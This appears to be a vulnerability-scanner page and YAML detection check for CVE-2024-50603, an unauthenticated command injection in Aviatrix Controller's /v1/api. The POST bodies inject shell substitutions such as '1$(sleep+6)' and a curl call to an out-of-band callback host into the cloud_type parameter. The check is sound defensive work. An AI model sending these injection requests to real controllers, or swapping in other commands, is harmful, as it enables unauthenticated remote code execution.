Aviatrix — 1 vulnerability check

noctis ships 1 vulnerability check for Aviatrix, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Aviatrix Controller Unauthenticated OS Command Injection via /v1/api

CVECVE-2024-50603
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, script, wait_oob · highest QoD 97
Feedtests/vulnerabilities/aviatrix/CVE-2024-50603.yaml

Checks an Aviatrix Controller for the unauthenticated command injection in the cloud_type parameter of the /v1/api list_flightpath_destination_instances action. The test first needs the action to answer a plain request with the controller's JSON reply. It then sends cloud_type values that run "sleep 6" and "sleep 2" through shell command substitution, and reports the controller when each request is answered that much later than the plain one. With an out-of-band callback server configured, it also sends a cloud_type that runs curl against the callback URL and reports a received callback as confirmed code execution. The injected commands only wait or make one HTTP request.

How noctis detects it

  1. HTTP(S) request POST /v1/api with a crafted body
  2. Checks fp_resp.body for "return"\s*:\s*(true|false)
  3. HTTP(S) request POST /v1/api with a crafted body
  4. HTTP(S) request POST /v1/api with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. Checks aviatrix_ok == true && tm.ok == true → finding QoD 75: cloud_type '1$(sleep 6)' answered … ms and '1$(sleep 2)' … ms later than a plain cloud_type (… ms): the injected command ran
  7. HTTP(S) request POST /v1/api with a crafted body
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: OOB HTTP callback received: curl injected through cloud_type ran on the controller

References:

Feed source — tests/vulnerabilities/aviatrix/CVE-2024-50603.yaml
# Aviatrix Controller unauthenticated OS command injection — CVE-2024-50603
#
# /v1/api passes the cloud_type parameter of list_flightpath_destination_instances
# to a shell unescaped, without authentication. Fixed in 7.1.4191 / 7.2.4996,
# which sanitise cloud_type and keep the API action itself.
#
# Detection:
#   1. Gate (no finding) — list_flightpath_destination_instances with a plain
#      cloud_type must answer a JSON body with "return". The action is
#      reachable without auth on fixed releases too, so this is only a gate
#      (the previous revision reported it as a QoD 50 finding, #2404).
#   2. Time-based proof (QoD 75) — cloud_type "1$(sleep N)" with N = 6 then 2.
#      The substitution expands to nothing (cloud_type stays "1") and runs
#      before the command starts, so the delay adds up even if the backend
#      command is itself slow (a "|$(sleep N)" pipeline side would overlap
#      it). The shell runs it before the API answers, so a vulnerable
#      controller holds the 6 s request ~6 s and the 2 s one ~2 s longer than
#      the plain request. Both delays and their ~3:1 ratio must match, so a
#      server that is merely slow or tarpits every request is not reported. sleep only waits: nothing is written.
#   3. OOB (QoD 97) — cloud_type "1|$(curl <oob url>)", the public PoC shape
#      (securing.pl, nuclei template). The previous "1|curl" form, without
#      command substitution, depended on how the value lands in the command.
uid: 0817f462-9604-40bf-baa3-3b99997f5510
name: "Aviatrix Controller Unauthenticated OS Command Injection via /v1/api"
description: |
  Checks an Aviatrix Controller for the unauthenticated command injection in
  the cloud_type parameter of the /v1/api list_flightpath_destination_instances
  action. The test first needs the action to answer a plain request with the
  controller's JSON reply. It then sends cloud_type values that run "sleep 6"
  and "sleep 2" through shell command substitution, and reports the controller
  when each request is answered that much later than the plain one. With an
  out-of-band callback server configured, it also sends a cloud_type that runs
  curl against the callback URL and reports a received callback as confirmed
  code execution. The injected commands only wait or make one HTTP request.
cves: [CVE-2024-50603]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [aviatrix, rce, command-injection, cloud, kev, oob, time-based, intrusive]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-50603"
  - "https://www.securing.pl/en/cve-2024-50603-aviatrix-network-controller-command-injection-vulnerability/"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-50603.yaml"

steps:
  - id: init
    action: set_var
    var_name: aviatrix_ok
    var_value: false

  - id: init-long
    action: set_var
    var_name: long_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  - id: init-short
    action: set_var
    var_name: short_resp
    var_value: {status: 0, body: null, duration_ms: 0}

  # ── 1. Gate: the API action answers a plain request ──────────────────────
  - id: fingerprint
    action: http_request
    method: POST
    path: /v1/api
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "action=list_flightpath_destination_instances&CID=probe&account_name=1&region=1&vpc_id_name=1&cloud_type=1"
    store_as: fp_resp

  - id: check-endpoint
    action: match
    source: fp_resp.body
    pattern: '"return"\s*:\s*(true|false)'
    condition: "fp_resp.status == 200 && fp_resp.duration_ms < 4000"
    on_match:
      set_vars:
        aviatrix_ok: true

  # ── 2. Time-based proof: $(sleep 6) then $(sleep 2) ──────────────────────
  # Longer delay first: a tarpit that slows each successive request then
  # fails its own window.
  - id: sleep-long
    action: http_request
    method: POST
    path: /v1/api
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 25
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "action=list_flightpath_destination_instances&CID=probe&account_name=1&region=1&vpc_id_name=1&cloud_type=1$(sleep+6)"
    condition: "aviatrix_ok == true"
    store_as: long_resp

  - id: sleep-short
    action: http_request
    method: POST
    path: /v1/api
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 25
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "action=list_flightpath_destination_instances&CID=probe&account_name=1&region=1&vpc_id_name=1&cloud_type=1$(sleep+2)"
    condition: "aviatrix_ok == true && long_resp.status > 0"
    store_as: short_resp

  - id: timing
    action: script
    condition: "aviatrix_ok == true"
    code: |
      let d6 = long_resp.duration_ms - fp_resp.duration_ms;
      let d2 = short_resp.duration_ms - fp_resp.duration_ms;
      let ok = long_resp.status > 0 && short_resp.status > 0
        && d6 >= 5500 && d6 < 21000 && d2 >= 1500 && d6 >= d2 + 3000
        && d6 * 2 >= d2 * 4 && d6 * 2 <= d2 * 9;
      #{ ok: ok, d6: d6, d2: d2 }
    store_as: tm

  - id: timing-finding
    action: match
    source: long_resp.body
    pattern: ".*"
    condition: "aviatrix_ok == true && tm.ok == true"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "cloud_type '1$(sleep 6)' answered {{tm.d6}} ms and '1$(sleep 2)' {{tm.d2}} ms later than a plain cloud_type ({{fp_resp.duration_ms}} ms): the injected command ran"

  # ── 3. OOB confirmation: $(curl <oob url>) ───────────────────────────────
  - id: oob-rce
    action: http_request
    method: POST
    path: /v1/api
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "action=list_flightpath_destination_instances&CID=probe&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(curl+-s+http://{{oob_host}}:{{oob_port}}/{{oob_token}})"
    store_as: oob_req_resp
    condition: "aviatrix_ok == true && oob_enabled"

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 25
    store_as: oob_result
    condition: "aviatrix_ok == true && oob_enabled"
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "OOB HTTP callback received: curl injected through cloud_type ran on the controller"
      stop: true

View these feeds on GitHub